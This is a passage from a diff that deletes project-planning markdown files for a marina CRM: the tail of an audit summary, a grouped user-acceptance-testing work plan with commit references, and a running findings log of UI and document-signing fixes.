- E1 (admin UI) and E2 (entity UI) agents failed; the surface is too large for a single Sonnet 1M spawn. Re-spawn narrower (one page or one entity per agent), or audit inline in a follow-up.
|
||||
|
||||
---
|
||||
|
||||
## Total finding counts
|
||||
|
||||
| Severity | Count |
|
||||
| ------------------ | ------- |
|
||||
| CRITICAL | 5 |
|
||||
| high | 15 |
|
||||
| medium | 36 |
|
||||
| low | 53 |
|
||||
| info | 19 |
|
||||
| **Total findings** | **128** |
|
||||
|
||||
Across **13 of 16 agent reports** + 3 inline (A1/F1/B3). E1 + E2 are missing; should be re-attempted later.
|
||||
@@ -1,242 +0,0 @@
|
||||
# Remaining UAT Master Doc — Work Plan
|
||||
|
||||
> **STATUS (2026-05-21 23:55):** Groups A–T worked through end-to-end.
|
||||
> Group U (EOI bundle UX rework) explicitly deferred — see note at the
|
||||
> bottom. Per-group commits:
|
||||
>
|
||||
> - **A** `e33313b` + doc annotations `670ca16`
|
||||
> - **B** `7ecf4ee` + doc annotations `a0a4a5d`
|
||||
> - **C** `991e222`
|
||||
> - **D + E** `431375d`
|
||||
> - **F + G + H** `94c24a1`
|
||||
> - **I** `989cc4d`
|
||||
> - **J + K** `03a7521`
|
||||
> - **L** `65ff596`
|
||||
> - **M** `0ddaf46`
|
||||
> - **N** `a147cbc`
|
||||
> - **O** `a7cbee0`
|
||||
> - **P** `0ed03fc`
|
||||
> - **Q** `c14f80a`
|
||||
> - **R + T** `aa1f5d2`
|
||||
> - **U** parked
|
||||
>
|
||||
> Each commit message documents what shipped vs. what stayed parked.
|
||||
> Vitest 1454/1454 and tsc clean across every group.
|
||||
>
|
||||
> **Source:** `alpha-uat-master.md` (Bucket 1-4) as of commit `d879188`. Survey done 2026-05-21 after the PDF report exporter ship.
|
||||
>
|
||||
> **Status:** scaffold for sequential execution. Each item has a scope summary, file pointers (copied from the source entry where helpful), effort estimate, and explicit ordering notes (blocks-on / pairs-with). Items are grouped so logically-related work lands as one PR rather than scattered.
|
||||
|
||||
## How to use this doc
|
||||
|
||||
- Items are in **suggested execution order** (top → bottom). Order optimises for (a) unblocking other items, (b) low-cost-high-impact wins first, (c) defer-until-design large features to the end.
|
||||
- Each item is one of:
|
||||
- **Q** — quick fix (< 30 min)
|
||||
- **M** — medium (30 min – 2 h)
|
||||
- **L** — large (2 h+)
|
||||
- **DEFERRED** — captured but blocked / waiting on external decision
|
||||
- We work top to bottom. When an item lands, annotate it in `alpha-uat-master.md` with the SHIPPED-in-commit line AND tick it off here.
|
||||
|
||||
---
|
||||
|
||||
## Group A — Tiny copy / UI fixes — [SHIPPED in e33313b]
|
||||
|
||||
All 12 items closed. 7 new ships + 5 verified pre-shipped (annotation gap in master doc).
|
||||
|
||||
1. **[SHIPPED — e33313b]** Admin Documenso settings env-fallback pills — collapsed legacy SettingsFormCard blocks into RegistryDrivenForm sections (`documenso.behavior` + `documenso.templates`).
|
||||
2. **[SHIPPED — e33313b]** WatchersCard empty-state padding — `mb-3` → `mb-4 pb-1`.
|
||||
3. **[SHIPPED — 52342ee, verified]** EOI "Mark as signed without file" button — already in place.
|
||||
4. **[SHIPPED — e33313b]** /invoices/upload-receipts copy rewrite — ~50% body-copy reduction, terse luxury-CRM voice.
|
||||
5. **[SHIPPED — e33313b]** Pageviews X-axis ticks — `interval="preserveStartEnd"` + `minTickGap={52}`.
|
||||
6. **[SHIPPED earlier, verified]** Pageviews vs Sessions explainer — Info popover already in `website-analytics-shell.tsx`.
|
||||
7. **[SHIPPED — e33313b]** Inbox section order — docstring fixed; JSX already had Reminders before Alerts.
|
||||
8. **[SHIPPED earlier, verified]** BulkAddBerthsWizard CurrencySelect — already wired at apply-to-all + per-row.
|
||||
9. **[SHIPPED — e33313b]** CommandList scroll-cap — `max-h-[min(300px,var(--radix-popover-content-available-height,300px))]`.
|
||||
10. **[SHIPPED — e33313b]** DropdownMenu max-h cap — `max-h-[min(24rem,var(--radix-dropdown-menu-content-available-height,24rem))]`.
|
||||
11. **[SHIPPED — e33313b]** Residential InterestsTab whole-row navigate — `<tr onClick>` + first-cell Link stopPropagation.
|
||||
12. **[SHIPPED — e33313b]** StageStepper visible stage names — stage-name row below the bar; `size="xs"` hides labels.
|
||||
|
||||
---
|
||||
|
||||
## Group B — Interest detail polish (~2 h total)
|
||||
|
||||
Surfaces all touch `interest-tabs.tsx` / `interest-overview` / linked-berths. Grouping keeps the diff focused on one entity.
|
||||
|
||||
13. **[M] Inbox → Reminders: move filter row inline with the "New Reminder" button (embedded mode)** — _src/components/reminders/reminders-list.tsx_. Add an `embedded?: boolean` prop that consolidates the filter row + the New button into one row when set. ~45 min.
|
||||
14. **[M] Interest Overview Email + Phone rows: combobox picker across client's contacts + quick-add new contact** — _src/components/interests/interest-tabs.tsx_ + _src/components/clients/client-contacts-picker.tsx (new)_. The Email + Phone rows on the Overview currently show only the primary; reps want to pick any of the client's contacts and add new ones inline. ~1 h.
|
||||
15. **[M] Inline phone editor on the Contact row** — adjacent to #14; add `InlineEditableField variant="phone"` (or similar) using the country-code + national-number split. ~30 min.
|
||||
16. **[M] Client Overview should summarize current interest's requirements** — one-line "current interest needs L × W × D, source X" on the Client detail Overview tab. ~30 min.
|
||||
17. **[M] Notes Latest-note teaser missing round / stage context pill** — _src/components/interests/interest-tabs.tsx_ around the latest-note teaser. Pull the stage at the time of the note (from `audit_logs`) and render as a chip next to the timestamp. ~45 min.
|
||||
18. **[M] InterestBerthStatusBanner: name + link the competing deal** — _src/components/interests/interest-berth-status-banner.tsx_. Today says "this berth is also linked to another interest"; should name the client + link to the interest. ~30 min.
|
||||
19. **[M] Qualification auto-confirm "intent confirmed" once stage ≥ EOI (extend `computeAutoSatisfied`)** — _src/lib/services/qualification.service.ts_. Add the auto-confirm rule. Most of the work shipped earlier; this is the final tightening. ~30 min.
|
||||
|
||||
**Commit shape:** one PR titled `feat(uat-batch): Interest detail polish (Group B — 7 items)`.
|
||||
|
||||
---
|
||||
|
||||
## Group C — Berth list features (~2.5 h)
|
||||
|
||||
20. **[M] Berth list: hide "Rates (USD)" + "Pricing valid" columns by default (or remove)** — _src/components/berths/berth-columns.tsx_ + `BERTH_DEFAULT_HIDDEN`. Short-term rental fields irrelevant to purchase/long-term ports. Update default visibility; do not remove columns (other ports may still use them). ~10 min.
|
||||
21. **[M] Dimensions columns: add ft↔m toggle in the column header (persisted to user prefs); skip per-row entry-unit indicator** — _src/components/berths/berth-columns.tsx_, _src/components/yachts/yacht-columns.tsx_, _src/components/clients/client-yachts-tab.tsx_, _src/components/companies/company-owned-yachts-tab.tsx_, plus _new_ `src/lib/utils/dimensions.ts` for the conversion + format helper, and _src/lib/db/schema/users.ts_ `user_profiles.preferences` for the persisted preference key. ~1 h.
|
||||
22. **[M] ft ↔ m unit switching on Berth Requirements** — _src/components/interests/interest-tabs.tsx_ — the three inline-editable dim rows hard-code `(ft)` in the label. The interest already carries `desiredLengthUnit`; honour it. ~30 min.
|
||||
23. **[L] Berth list: bulk-edit affordance (parity with bulk-add)** — _src/components/berths/_, _src/lib/services/berths.service.ts_, _new endpoint_ `POST /api/v1/berths/bulk`. Backend mirrors `/interests/bulk` shape; UI gets a `DataTable bulkActions` toolbar. ~5-7 h. **Pairs with:** Bucket 3 #2 Bulk-price editing UI — the inline-price-edit + bulk-price-sheet should land alongside this. Combined effort ~7-10 h.
|
||||
|
||||
**Commit shape:** two PRs — `feat(berths): dimensions column toggle + hide rental columns` (B-20/21/22), `feat(berths): bulk-edit + bulk-price UI` (B-23 + Bucket 3 #2).
|
||||
|
||||
---
|
||||
|
||||
## Group D — BulkAddBerthsWizard polish (~1.5 h)
|
||||
|
||||
24. **[M] BulkAddBerthsWizard + single-berth editor: toggleable input units (ft/m) for dimension fields** — _src/components/admin/bulk-add-berths-wizard.tsx_ + _src/components/berths/berth-form.tsx_. Tiny segmented toggle above the dimension inputs (ft / m). Convert on submit so the canonical column stays consistent. ~45 min.
|
||||
25. **[M] BulkAddBerthsWizard: allow defining new dock/pontoon letters in-flow (or surface the admin path)** — _src/components/admin/bulk-add-berths-wizard.tsx_. Currently fixed to A/B/C/D/E. Add "+ New letter" affordance or a clear "manage letters in /admin/vocabularies" link. ~30 min.
|
||||
|
||||
**Commit shape:** one PR titled `feat(berth-admin): wizard polish (Group D)`.
|
||||
|
||||
---
|
||||
|
||||
## Group E — Supplemental-info-request (~1 h)
|
||||
|
||||
26. **[M] Supplemental-info-request: distinct Regenerate vs Resend actions + issue history** — _src/components/interests/supplemental-info-request-button.tsx_. Today's UI has a single Generate + Send button; add: Regenerate (new token, invalidates old), Resend (re-email existing token), and a small history list of past issuances + their status. Builds on what `a4e30ea` already shipped (generate vs send split). ~1 h.
|
||||
|
||||
**Note:** Supplemental-info-request _separate generate link and send email_ + _link reusable_ already SHIPPED (a4e30ea, b74fc56).
|
||||
|
||||
---
|
||||
|
||||
## Group F — DocumentsHub + signing flow polish (~3 h)
|
||||
|
||||
27. **[M] DocumentsHub: hide breadcrumb on root "All documents" view, move PageHeader up** — _src/components/documents/hub-root-view.tsx_ + the surrounding shell. Conditional render. ~30 min.
|
||||
28. **[M] Past-milestones strip → expandable history with inline doc preview** — _src/components/interests/interest-tabs.tsx_ around line 863 (past-milestones strip). Convert to accordion; each past milestone expands to show its associated docs + sub-status timeline + inline PDF preview using the existing pdf-viewer primitive. ~3-4 h.
|
||||
29. **[M] Watchers configurable at document creation time** — _src/components/documents/eoi-generate-dialog.tsx_, _src/components/documents/upload-for-signing-dialog.tsx_, _src/components/interests/external-eoi-upload-dialog.tsx_, _src/components/documents/create-document-wizard.tsx:157_ + service-side defaults. ~1.5 h.
|
||||
|
||||
---
|
||||
|
||||
## Group G — Admin sections consolidation (~6 h)
|
||||
|
||||
30. **[L] Merge `/admin/invitations` into `/admin/users`** — _src/app/(dashboard)/[portSlug]/admin/users/page.tsx_, _src/app/(dashboard)/[portSlug]/admin/invitations/page.tsx_ (to be removed), _src/components/admin/users/_, _src/components/admin/admin-sections-browser.tsx:90-95_. Add a state filter `All | Active | Invited (pending) | Disabled | Archived`. Default to Active. ~3-4 h.
|
||||
31. **[L] Consolidate every AI-feature admin control onto `/admin/ai`** — _src/app/(dashboard)/[portSlug]/admin/ai/page.tsx_ + per-feature embedded forms. Berth PDF parser AI fallback, AI/OCR pipeline, plus deferred sections (recommender embeddings, contact-log extraction, inquiry parsing). Berth PDF parser AI fallback is the only currently-LLM-using feature without a section — surface its provider override, confidence threshold, per-call budget cap. ~2 h for the present one + UI hooks for the deferred sections.
|
||||
|
||||
---
|
||||
|
||||
## Group H — Email + branding (~2 h)
|
||||
|
||||
32. **[M] Email settings page: add explainer copy clarifying why sales send-from and noreply have separate credentials** — _src/app/(dashboard)/[portSlug]/admin/email/page.tsx_ — small description block. ~15 min.
|
||||
33. **[L] Supplemental-info-request email: branded HTML styling** — _src/lib/email/templates/_ — rebuild the template to match the table-based, max-width 600, logo + blurred overhead background look. ~1-2 h.
|
||||
|
||||
---
|
||||
|
||||
## Group I — Residential parity (~10 h, single coordinated PR)
|
||||
|
||||
34. **[M] Residential client detail header: match the main ClientDetailHeader layout** — _src/components/residential/residential-client-detail-header.tsx_ + _src/components/clients/client-detail-header.tsx_. Restructure. ~1 h.
|
||||
35. **[L] Residential interests list: visual + functional parity with the main InterestList** — _src/components/residential/residential-interests-list.tsx_ vs _src/components/interests/interest-list.tsx_. Card / table / kanban view modes, full FilterBar, ColumnPicker, bulk actions, realtime invalidation, kebab actions. ~6-8 h.
|
||||
36. **[L] Residential inquiry → auto-forward to external partner email(s)** — _src/lib/services/residential.service.ts_ + admin settings UI + new template + BullMQ enqueue. ~2-3 h.
|
||||
37. **[L] Auto-link residential interests to existing main-client records (same person)** — schema migration + service join + UI surfaces on both sides + backfill script. ~3-4 h.
|
||||
|
||||
---
|
||||
|
||||
## Group J — Activity feed + EntityActivityFeed (~2 h)
|
||||
|
||||
38. **[M] EntityActivityFeed: rewrite per-row rendering to surface _what_ changed** — _src/components/shared/entity-activity-feed.tsx_. Current rows are flat "user X did Y"; rewrite to show the field-level diff (`old → new`) using the existing audit-log diff shape. ~2 h.
|
||||
39. **[M] Client → Companies tab: add CTA to link or create a company membership** — _src/components/clients/client-companies-tab.tsx_. Empty-state CTA + dialog. ~1 h.
|
||||
|
||||
---
|
||||
|
||||
## Group K — OnboardingChecklist + nudges (~6-8 h, single big PR)
|
||||
|
||||
40. **[L] OnboardingChecklist: auto-check resolver-chain fix + super_admin discoverability** — _src/components/admin/onboarding-checklist.tsx_ + _src/lib/services/port-config.ts_ + new dashboard tile + new topbar banner. Two linked issues:
|
||||
- **(a)** Replace each `autoCheckSettingKey` with an `autoCheckResolver` function that runs the full resolver chain and returns `true` when the functional config is complete. Belt-and-braces: surface what's resolving from where ("Email: ✓ Using global SMTP" vs "Per-port override").
|
||||
- **(b)** Topbar banner (slim chip "Setup X% complete · Continue →" dismissible per-session), dashboard rail tile "Continue setup", in-app weekly notification, 🎉 100% celebration. Gate all on `super_admin`.
|
||||
|
||||
---
|
||||
|
||||
## Group L — UploadForSigningDialog comprehensive rework (~12-16 h, dedicated PR)
|
||||
|
||||
41. **[L] UploadForSigningDialog comprehensive rework — 4 linked issues** — Documenso PDF preview rebuild, metadata + draft persistence, dialog width responsive sizing, field-placement UX. Bundles with Documenso v2 follow-ups. Single coordinated PR.
|
||||
|
||||
---
|
||||
|
||||
## Group M — Universal preview + form-templates (~12-16 h)
|
||||
|
||||
42. **[L] Universal in-system preview for every file type** — extend FilePreviewDialog beyond PDF + images. .docx / .xlsx / .pptx via google-doc-viewer iframe or libreoffice headless; .txt / .csv / .md inline; .eml / .msg via mailparser; .zip see-into. ~6-10 h.
|
||||
43. **[SHIPPED in 91be0f9] Form-template fields bind to Interest/Client data — autofill, override-preservation history, dual-surface audit trail** — `bindable-fields.ts` catalog + `formFieldSchema.bindTo` allow-list + admin sheet "Bind to" picker; `applySubmission` extended to write phone + yacht diffs (was silently updating) and address-insert overrides; `/api/v1/clients/[id]/field-history` mirror endpoint; `<FieldHistoryProvider>` + `<FieldHistoryIcon>` mount on Client + Interest Overview tabs and ContactsEditor. Note: addresses tab + yacht detail surface still need the icon wired (5-min follow-up).
|
||||
|
||||
---
|
||||
|
||||
## Group N — Dashboard upgrades (~10-14 h)
|
||||
|
||||
44. **[L] Pipeline Value tile should respect dashboard timeframe** — Dashboard-wide timeframe context (Zustand store or React Query keyed by range); forecast/KPI service variants accept a `range`; "realized vs forecast" line. ~3-4 h.
|
||||
45. **[L] "Clients by country" dashboard widget** — compact ranked list with mini bars per row, deep-link `/clients?country=DE`. ~2-3 h.
|
||||
46. **[L] Drag-and-drop rearrangable dashboard widgets** — extend `useDashboardWidgets` to read a `dashboardWidgetOrder` preference; `@dnd-kit/core` + `@dnd-kit/sortable`; persist via PATCH `/api/v1/me/preferences`. ~4-6 h.
|
||||
|
||||
---
|
||||
|
||||
## Group O — Umami analytics phases 3 / 4 / 5 (~14-18 h)
|
||||
|
||||
47. **[L] Umami Phase 4a — Marketing-site instrumentation** — _BLOCKS Phase 3 + Phase 5._ Wire `umami.track()` calls into the marketing site for every CRM event we want to surface (inquiry submitted, brochure download, contact-form, etc.). ~3-4 h on the marketing-site repo + alignment with this repo.
|
||||
48. **[L] Umami Phase 4c UI — Tracked-link composer button** — _src/components/email/email-composer.tsx_ or wherever the rep writes a templated email; add a button that opens a tracked-link composer + injects the resulting URL. ~2-3 h.
|
||||
49. **[L] Umami Phase 3 — Events tab** — _src/components/website-analytics/events-list.tsx (new)_. Blocked on 4a. ~3-4 h.
|
||||
50. **[L] Umami Phase 5 — Funnels + Journeys** — Funnel builder + journey-flow sankey. Blocked on 4a. ~6-8 h.
|
||||
51. **[M] Umami: Empty-state nudges on quiet ranges** — _src/components/website-analytics/_. Stable copy when the range has < N events ("Nothing happened here; try a wider range"). ~30 min.
|
||||
52. **[M] Umami: Apple Mail privacy disclaimer copy** — _src/components/email/email-open-rate-pill.tsx_ — small tooltip explaining that Apple Mail Privacy Protection inflates open rates. ~15 min.
|
||||
53. **[M] Umami: Open-rate column on the document_sends list** — _src/components/documents/document-sends-list.tsx_. New column reading the per-send open count. ~30 min.
|
||||
54. **[M] Umami: Click-to-filter the page from the world map** — _src/components/website-analytics/visitor-world-map.tsx_. Wire `onCountryClick(iso2)` into a new country filter store + thread through every `useUmami*` hook. ~2-3 h.
|
||||
55. **[M] Umami: Verify pixel + tracked-link end-to-end with a real send** — manual UAT. ~15 min once 4a is live.
|
||||
|
||||
---
|
||||
|
||||
## Group P — Nested document subfolders — phases 2/3 (~5-6 h)
|
||||
|
||||
56. **[L] Nested document subfolders — phases 2 and 3** — foundation shipped in `e91055f`. Remaining:
|
||||
- **(a)** UploadZone gains `scopeOptions` radio: "This deal (Interest <name>)" vs "Client-level (all deals)". Single-scope contexts (client/yacht/company) hide the radio.
|
||||
- **(b)** Lifecycle hooks: interest outcome → folder rename (`Deal A1-A3 (Won)`); soft-rescue on outcome change.
|
||||
- **(c)** `listFilesAggregatedByEntity` rewrite — surface BOTH "This deal" subheading + "From client" subheading on the InterestDocumentsTab "Attachments" list.
|
||||
- **(d)** Documents Hub tree rendering for nested interest folders + outcome chip per interest folder.
|
||||
- **(e)** Backfill script `pnpm tsx scripts/backfill-nested-document-folders.ts --apply` — idempotent, per-port advisory-locked.
|
||||
|
||||
---
|
||||
|
||||
## Group Q — Platform-wide refactors (~14-18 h, do as coordinated passes when time allows)
|
||||
|
||||
57. **[L] Platform-wide chart library migration: recharts → ECharts** — port the 8 existing recharts components to ECharts. ~6-10 h.
|
||||
58. **[L] SelectTrigger height (`h-9`) doesn't match Input height (`h-11`)** — _src/components/ui/select.tsx_. Introduce `size` variant; default to `h-11`. Audit compact-context call sites for explicit `size="sm"` override. ~1 h.
|
||||
59. **[L] Platform-wide table density: column min-widths + nowrap defaults** — _src/components/shared/data-table.tsx_ + per-table column definitions. Add a `widthPx` / `nowrap` field to column defs; default text cells to `whitespace-nowrap`; surface horizontal scroll only when content actually exceeds. ~2-3 h.
|
||||
60. **[L] Platform-wide admin-settings tooltip audit** — _src/components/admin/_. Sweep every admin setting; add `FieldLabel` + tooltip wherever the setting isn't self-explanatory to a basic admin user. Use the FieldLabel primitive shipped in PR4.2 / `552b966`. ~3-4 h.
|
||||
61. **[L] Platform-wide error message audit for prod debuggability** — _cross-cutting_. The Documenso 502 / "Invalid token" diagnosis loop showed errors don't self-describe in prod. Two layers: (a) service-side: wrap upstream errors with the resolver chain that's actually in effect; (b) UI: render the wrapped error verbatim in the toast / dialog so operators can see "fell back to env, env value is stale" without reading logs. ~4-6 h.
|
||||
|
||||
---
|
||||
|
||||
## Group R — Documenso-first templates (~6-8 h)
|
||||
|
||||
62. **[L] Documenso-first templates: pull templates from Documenso instead of uploading through CRM** — _src/components/admin/document-templates/template-form.tsx_ + new admin endpoint `GET /api/v1/admin/documenso/templates` + per-template field-mapping editor + "Sync now" button + template-list badges. Generalizes the existing per-port EOI sync. ~5-7 h. **Pairs nicely with:** Group L (UploadForSigningDialog rework) — they share the same Documenso-side surface area.
|
||||
|
||||
---
|
||||
|
||||
## Group S — AI assistance + extraction (~10-14 h, deferred until user asks)
|
||||
|
||||
63. **[DEFERRED] AI-assisted action extraction from contact-log entries** — _src/components/interests/interest-contact-log-tab.tsx_ + new LLM service. "Extract action items" button next to Save; LLM-parses body + returns proposed follow-ups; rep approves each individually. ~6-10 h. Defer until a user is genuinely asking.
|
||||
|
||||
---
|
||||
|
||||
## Group T — Deferred bugs (~1 h each, do when surfacing)
|
||||
|
||||
64. **[DEFERRED] Duplicate row for berth E17 in port-nimara + missing unique index** — DB cleanup + partial unique index `(port_id, mooring_number) WHERE archived_at IS NULL`. Deferred per session call.
|
||||
65. **[DEFERRED] Stage advance allowed without berth price** — `ValidationError` gate in `changeInterestStage` for stages ≥ eoi. Deferred per session call.
|
||||
|
||||
---
|
||||
|
||||
## Group U — EOI bundle UX rework (~10-14 h)
|
||||
|
||||
66. **[SHIPPED in ef37901] EOI bundle UX rework (multi-berth interests)** — (a) defaults flip shipped in `05e727f`, (b) LinkedBerthsList rename shipped in PR10, (c) picker inside EoiGenerateDialog shipped in `ef37901`: new "EOI scope" section lists every linked berth with "In EOI" + "Public map" checkboxes pre-filled from current flag state; handleGenerate diffs vs server snapshot and PATCHes only changed rows in parallel before kicking off the envelope. Plan item closed.
|
||||
|
||||
---
|
||||
|
||||
## Execution discipline
|
||||
|
||||
For each item we tackle:
|
||||
|
||||
1. **Quote the master-doc bullet** so we're aligned on scope.
|
||||
2. **Verify it isn't already shipped** — re-read the master entry for sub-bullets with SHIPPED markers I may have missed.
|
||||
3. **Implement to production quality** — tests where the feature has logic worth testing; tsc clean; vitest 1454+/1454+; commit with a descriptive message.
|
||||
4. **Annotate the master doc** — add `**SHIPPED in <sha>:**` line under the original entry.
|
||||
5. **Tick off this plan** — once a group lands, mark the item as `[SHIPPED]` here.
|
||||
|
||||
When in doubt about an item's scope, surface the question first rather than guessing — several items already locked design decisions in the source entry that we should reuse verbatim.
|
||||
@@ -1,667 +0,0 @@
|
||||
# Active UAT — running findings
|
||||
|
||||
> **THIS IS THE CURRENTLY ACTIVE AUDIT DOC.** All new UAT findings land here regardless of which session captures them. Persists across sessions until the user explicitly says "wrap this round up and start a fresh one" — at which point archive this file with a date stamp (`YYYY-MM-DD-uat.md`) and start a new `active-uat.md`.
|
||||
>
|
||||
> Started 2026-05-26 after the drain commit `e9509dc` cleared the prior `alpha-uat-master.md` long tail. This file is the home for findings surfaced as the user walks through the running app. Append every item as a discrete entry — even premature / aspirational ones — so nothing gets dropped.
|
||||
>
|
||||
> **Methodology:** user drives the live CRM at `http://localhost:3000`, surfaces issues in chat (with screenshot + React-grab anchor when applicable). Each finding lands here in the matching bucket with file:line evidence and a status tag.
|
||||
>
|
||||
> **Status legend:**
|
||||
>
|
||||
> - `OPEN` — captured, not started
|
||||
> - `IN PROGRESS` — currently being worked on this session
|
||||
> - `SHIPPED in <hash>` — committed; commit message has detail
|
||||
> - `QUEUED` — not for this session; deliberately deferred
|
||||
> - `BLOCKED` — waiting on user input / external repo / clarification
|
||||
>
|
||||
> **Severity** (for bugs only): `critical | high | medium | low`.
|
||||
|
||||
> **Locked decisions — 2026-05-26 round.** User answered 11 blocking / clarifying questions. Inlined here for cross-finding reference; individual findings still carry their own context.
|
||||
>
|
||||
> - **Documenso comprehensive audit:** ship as 5 discrete sub-PRs — (1) persist `documensoId` immediately after create, (2) pre-flight validation, (3) state-machine refactor with `rollbackTo()` helper, (4) recipient ↔ Documenso identity reconciliation, (5) end-to-end test coverage + audit-log richness.
|
||||
> - **Pre-flight validation for upload-for-signing:** hard-blocks Submit when any recipient has a missing email or any placed field's `recipientIndex` doesn't resolve. No override path.
|
||||
> - **`/documents/new` wizard refactor:** (a) delete the upload branch, (b) drop the `inapp` template pathway, (c) per-port doc-type template defaults (`documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`) with admin-only override, (d) surface flow 3 (mark externally signed) from the dropdown menu, (e) drop `/documents/new` as a route — replace with `<GenerateDocumentDialog>` opened from the dropdown.
|
||||
> - **Automate Signing button:** mid-flow enable picks up from next-in-order signer; completion broadcast goes to ALL recipients (signers + approvers + CCs); single combined mode (no partial-automate); manual override buttons stay visible with "Auto-firing soon" tooltip during automation.
|
||||
> - **Webhook URL auto-PATCH on tunnel restart:** env-flag-gated via `DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`. Prod can't be accidentally rotated by a stale dev script.
|
||||
> - **Admin Webhook Health page:** explicit "Test now" button for ports with no webhooks received. No auto-fire on first page load.
|
||||
> - **Per-port `documenso_signing_order` setting:** tri-state — SEQUENTIAL / PARALLEL / Use template default (null/empty state). Replaces the binary toggle.
|
||||
> - **OverviewTab inheritance editing:** writes to the interest's `desired_*` column (override pattern). Save toast surfaces a follow-up "Update yacht record too?" CTA so the rep can promote the change up if the yacht itself is wrong.
|
||||
> - **Public-map flag inheritance:** applies across every dialog with a map-flip affordance — EOI generate, External EOI upload, Reservation generate + upload, Contract generate + upload. Default: ON when ANY in-bundle berth has `is_specific_interest=true`, OFF otherwise.
|
||||
> - **Cancel/Delete affordance audit:** sweep EVERY remove route (per-row EOI tab kebab, EoiCancelDialog, docs hub kebab, document detail Cancel + Delete, contract/reservation tab equivalents, NewDocumentMenu if any). Each one must run the same `cancelDocument`/`deleteDocument` service flow with permission check + Documenso void when `documensoId` set + status transition + onSuccess query invalidation + toast on error.
|
||||
> - **Orphan-scan admin script:** deferred / out of scope. Dev DB nuke acceptable for UAT-session debris.
|
||||
|
||||
---
|
||||
|
||||
## Bucket 1 — Quick fixes (<15 min)
|
||||
|
||||
### Dialog primitive default too narrow → bump platform-wide
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/ui/dialog.tsx_ (DialogContent base default).
|
||||
- **Fix applied:** default bumped from `sm:max-w-xl lg:max-w-3xl` to `sm:max-w-2xl lg:max-w-4xl`. Confirm dialogs override DOWN with `sm:max-w-md`; PDF preview / signing dialogs override UP with `lg:max-w-5xl` or `lg:max-w-[min(95vw,1400px)]`.
|
||||
- **Symptom:** Dialog primitive's default is `sm:max-w-lg` (512px), which is far too narrow for most content (forms, file previews, signing details). Even the earlier per-dialog `lg:max-w-4xl` bump only fixed the dialogs I explicitly migrated; everything still using the default — including FilePreviewDialog (which overrides to `max-w-4xl` but PDFs are unreadable at that width) — stays cramped on desktop.
|
||||
- **Fix:** bump the Dialog primitive base to `sm:max-w-2xl lg:max-w-4xl` so every Dialog gets a sane wide-screen default. Per-dialog overrides ride on top for cases that need wider (PDF preview) or narrower (confirm dialogs).
|
||||
|
||||
### FilePreviewDialog cramped for PDFs
|
||||
|
||||
- **`IN PROGRESS`** — _src/components/files/file-preview-dialog.tsx:109_.
|
||||
- **Symptom:** opening a PDF lands in a `max-w-4xl` (896px) container on a 1920px+ desktop; PDF renders in a thin column with massive empty bands on both sides. Screenshot 2026-05-26.
|
||||
- **Fix applied:** bumped DialogContent to `w-[min(95vw,1400px)] sm:max-w-none lg:max-w-none h-[85vh]` so PDFs get viewport-sized rendering capped at 1400px. Reference for "correct" width is the documents-tab preview which the user confirmed reads correctly.
|
||||
|
||||
### CreateDocumentWizard — doc-type labels lowercased
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ + _src/lib/constants.ts_.
|
||||
- **Symptom:** doc-type dropdown renders `eoi`, `nda`, `reservation agreement`, `other` — lowercase, looks unfinished. Naive `.replace(/_/g, ' ')` doesn't capitalize.
|
||||
- **Fix applied:** added `DOCUMENT_TYPE_LABELS` Record alongside the enum (`EOI`, `Contract`, `NDA`, `Reservation Agreement`, `Other`). Wizard reads from the map.
|
||||
|
||||
### CreateDocumentWizard — "Other" hint added
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_.
|
||||
- **Decision:** kept schema unchanged. Added an inline hint under the type selector when `other` is selected: "Use the Title below to describe the document — that's how it'll appear everywhere it's referenced."
|
||||
|
||||
### FlatFolderListing — needs padding above the list
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing.
|
||||
- **Symptom:** the flat list sat flush against the subfolders UI above it — no vertical breathing room.
|
||||
- **Fix applied:** wrapped FlatFolderListing's returned tree in `<div className="space-y-4">` so all three sub-sections (search/chip row, subfolders grid, documents list) get consistent vertical spacing.
|
||||
|
||||
### FlatFolderListing — root folder doesn't show uploaded files
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing + _src/lib/services/files.ts_ (listFiles) + _src/lib/validators/files.ts_ (already had folderId; service was ignoring it).
|
||||
- **Root cause:** documents table (signature workflows) and files table (raw uploads) are separate; FlatFolderListing queried documents only.
|
||||
- **Fix applied:** went with option B (parallel files query + client-side merge). `listFiles` now honours the `folderId` filter that was already accepted by the validator. FlatFolderListing runs a sibling `useQuery` against `/api/v1/files?folderId=X` and merges both sources into a unified `HubRow` list sorted by `createdAt desc`. New `renderFileRow` renders files with an "Uploaded file" type pill + "Stored" status pill, links the filename to the download URL. Existing FolderDropZone invalidation (`['files']` prefix) already covers the new query, so drag-drop AND New-document-menu uploads both refresh the list without a page reload.
|
||||
|
||||
### FlatFolderListing — chevron does nothing when no signers
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx:359+_.
|
||||
- **React-grab anchor:** `<svg class="lucide lucide-chevron-right h-4 w-4" />` in FlatFolderListing.
|
||||
- **Symptom:** every row renders a chevron button that's meant to expand signers detail. For docs with zero signers (manually uploaded, or signature docs that were cancelled/voided before recipients were added), clicking does nothing — the button toggles state but no signers panel exists to render.
|
||||
- **Fix applied:** chevron button only renders when `totalSigners > 0`. Layout column kept (transparent placeholder span) so grid alignment doesn't jump.
|
||||
|
||||
### Interest drawer — inline client create
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_ + _src/components/clients/client-form.tsx_.
|
||||
- **Symptom:** rep starts a new interest, realises the client isn't on file, has to close the drawer + navigate to Clients + create + come back. Yacht create was already inline ("Add new" button next to YachtPicker); client create wasn't.
|
||||
- **Fix applied:** ClientForm gains an `onCreated(id)` callback; the create-branch mutation now returns `{ id }`. InterestForm renders an "Add new" Button next to the Client label (create-mode only — hidden on edit), opens the ClientForm Sheet, and auto-selects the newly-created client into the interest draft on success.
|
||||
|
||||
### InterestForm reset path dropped source='manual'
|
||||
|
||||
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_.
|
||||
